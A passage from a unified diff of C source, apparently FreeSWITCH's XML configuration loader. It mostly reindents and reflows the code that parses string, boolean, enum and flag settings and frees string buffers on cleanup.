+ }
} else {
- newval = (switch_bool_t)(intptr_t)item->defaultvalue;
+ if (*dest != '\0') {
+ *dest = '\0';
+ changed = SWITCH_TRUE;
+ }
}
-
- if (*dest != newval) {
- *dest = newval;
- changed = SWITCH_TRUE;
- }
- }
- break;
- case SWITCH_CONFIG_CUSTOM:
- break;
- case SWITCH_CONFIG_ENUM:
- {
- switch_xml_config_enum_item_t *enum_options = (switch_xml_config_enum_item_t*)item->data;
- int *dest = (int*)ptr;
- int newval = 0;
- switch_status_t lookup_result = SWITCH_STATUS_SUCCESS;
-
- if (value) {
- lookup_result = switch_xml_config_enum_str2int(enum_options, value, &newval);
+ } else if (string_options->pool) {
+ /* Pool-allocated buffer */
+ char **dest = (char **) ptr;
+
+ if (newstring) {
+ if (!*dest || strcmp(*dest, newstring)) {
+ *dest = switch_core_strdup(string_options->pool, newstring);
+ }
} else {
- newval = (int)(intptr_t)item->defaultvalue;
+ if (*dest) {
+ changed = SWITCH_TRUE;
+ *dest = NULL;
+ }
}
-
- if (lookup_result != SWITCH_STATUS_SUCCESS) {
- newval = (int)(intptr_t)item->defaultvalue;
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Invalid value [%s] for parameter [%s]\n", value, item->key);
- switch_xml_config_item_print_doc(SWITCH_LOG_ERROR, item);
- }
-
- if (*dest != newval) {
- changed = SWITCH_TRUE;
- *dest = newval;
- }
- }
- break;
- case SWITCH_CONFIG_FLAG:
- {
- int32_t *dest = (int32_t*)ptr;
- int index = (int)(intptr_t)item->data;
- int8_t currentval = (int8_t)!!(*dest & index);
- int8_t newval = 0;
-
- if (value) {
- newval = switch_true(value);
+ } else {
+ /* Dynamically allocated buffer */
+ char **dest = (char **) ptr;
+
+ if (newstring) {
+ if (!*dest || strcmp(*dest, newstring)) {
+ switch_safe_free(*dest);
+ *dest = strdup(newstring);
+ changed = SWITCH_TRUE;
+ }
} else {
- newval = (switch_bool_t)(intptr_t)item->defaultvalue;
- }
-
- if (newval != currentval) {
- changed = SWITCH_TRUE;
- if (newval) {
- *dest |= (1 << index);
- } else {
- *dest &= ~(1 << index);
+ if (*dest) {
+ switch_safe_free(*dest);
+ changed = SWITCH_TRUE;
}
}
}
- break;
- case SWITCH_CONFIG_FLAGARRAY:
- {
- int8_t *dest = (int8_t*)ptr;
- unsigned int index = (unsigned int)(intptr_t)item->data;
- int8_t newval = value ? !!switch_true(value) : (int8_t)((intptr_t)item->defaultvalue);
- if (dest[index] != newval) {
- changed = SWITCH_TRUE;
- dest[index] = newval;
+ }
+ break;
+ case SWITCH_CONFIG_BOOL:
+ {
+ switch_bool_t *dest = (switch_bool_t *) ptr;
+ switch_bool_t newval = SWITCH_FALSE;
+
+ if (value && switch_true(value)) {
+ newval = SWITCH_TRUE;
+ } else if (value && switch_false(value)) {
+ newval = SWITCH_FALSE;
+ } else if (value) {
+ /* Value isnt true or false */
+ newval = (switch_bool_t) (intptr_t) item->defaultvalue;
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Invalid value [%s] for parameter [%s], setting default [%s]\n",
+ value, item->key, newval ? "true" : "false");
+ switch_xml_config_item_print_doc(SWITCH_LOG_ERROR, item);
+ } else {
+ newval = (switch_bool_t) (intptr_t) item->defaultvalue;
+ }
+
+ if (*dest != newval) {
+ *dest = newval;
+ changed = SWITCH_TRUE;
+ }
+ }
+ break;
+ case SWITCH_CONFIG_CUSTOM:
+ break;
+ case SWITCH_CONFIG_ENUM:
+ {
+ switch_xml_config_enum_item_t *enum_options = (switch_xml_config_enum_item_t *) item->data;
+ int *dest = (int *) ptr;
+ int newval = 0;
+ switch_status_t lookup_result = SWITCH_STATUS_SUCCESS;
+
+ if (value) {
+ lookup_result = switch_xml_config_enum_str2int(enum_options, value, &newval);
+ } else {
+ newval = (int) (intptr_t) item->defaultvalue;
+ }
+
+ if (lookup_result != SWITCH_STATUS_SUCCESS) {
+ newval = (int) (intptr_t) item->defaultvalue;
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Invalid value [%s] for parameter [%s]\n", value, item->key);
+ switch_xml_config_item_print_doc(SWITCH_LOG_ERROR, item);
+ }
+
+ if (*dest != newval) {
+ changed = SWITCH_TRUE;
+ *dest = newval;
+ }
+ }
+ break;
+ case SWITCH_CONFIG_FLAG:
+ {
+ int32_t *dest = (int32_t *) ptr;
+ int index = (int) (intptr_t) item->data;
+ int8_t currentval = (int8_t) ! !(*dest & index);
+ int8_t newval = 0;
+
+ if (value) {
+ newval = switch_true(value);
+ } else {
+ newval = (switch_bool_t) (intptr_t) item->defaultvalue;
+ }
+
+ if (newval != currentval) {
+ changed = SWITCH_TRUE;
+ if (newval) {
+ *dest |= (1 << index);
+ } else {
+ *dest &= ~(1 << index);
}
}
- break;
- case SWITCH_CONFIG_LAST:
- break;
- default:
- break;
+ }
+ break;
+ case SWITCH_CONFIG_FLAGARRAY:
+ {
+ int8_t *dest = (int8_t *) ptr;
+ unsigned int index = (unsigned int) (intptr_t) item->data;
+ int8_t newval = value ? !!switch_true(value) : (int8_t) ((intptr_t) item->defaultvalue);
+ if (dest[index] != newval) {
+ changed = SWITCH_TRUE;
+ dest[index] = newval;
+ }
+ }
+ break;
+ case SWITCH_CONFIG_LAST:
+ break;
+ default:
+ break;
}
-
+
if (callback) {
callback(item, value, (reload ? CONFIG_RELOAD : CONFIG_LOAD), changed);
}
@@ -384,14 +388,15 @@
break;
}
}
-
+
if (!found) {
/* Tell the user */
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Configuration parameter [%s] is unfortunately not valid, you might want to double-check that.\n", header->name);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
+ "Configuration parameter [%s] is unfortunately not valid, you might want to double-check that.\n", header->name);
}
}
}
-
+
return SWITCH_STATUS_SUCCESS;
}
@@ -399,35 +404,36 @@
SWITCH_DECLARE(void) switch_xml_config_cleanup(switch_xml_config_item_t *instructions)
{
switch_xml_config_item_t *item;
-
+
for (item = instructions; item->key; item++) {
- switch_xml_config_callback_t callback = (switch_xml_config_callback_t)item->function;
-
+ switch_xml_config_callback_t callback = (switch_xml_config_callback_t) item->function;
+
switch (item->type) {
- case SWITCH_CONFIG_STRING:
- {
- char **ptr = (char**)item->ptr;
- switch_xml_config_string_options_t *string_options = (switch_xml_config_string_options_t*)item->data;
- /* if (using_strdup) */
- if (string_options && !string_options->pool && !string_options->length) {
- switch_safe_free(*ptr);
- }
+ case SWITCH_CONFIG_STRING:
+ {
+ char **ptr = (char **) item->ptr;
+ switch_xml_config_string_options_t *string_options = (switch_xml_config_string_options_t *) item->data;
+ /* if (using_strdup) */
+ if (string_options && !string_options->pool && !string_options->length) {
+ switch_safe_free(*ptr);
}
- break;
- default:
- break;
+ }
+ break;
+ default:
+ break;
}
-
+
if (callback) {
callback(item, NULL, CONFIG_SHUTDOWN, SWITCH_FALSE);
}
-
+
}
}
-SWITCH_DECLARE(void) switch_config_perform_set_item(switch_xml_config_item_t *item, const char *key, switch_xml_config_type_t type, int flags, void *ptr,
- const void* defaultvalue, void *data, switch_xml_config_callback_t function, const char *syntax, const char *helptext)
+SWITCH_DECLARE(void) switch_config_perform_set_item(switch_xml_config_item_t *item, const char *key, switch_xml_config_type_t type, int flags, void *ptr,
+ const void *defaultvalue, void *data, switch_xml_config_callback_t function, const char *syntax,
+ const char *helptext)
{
item->key = key;
item->type = type;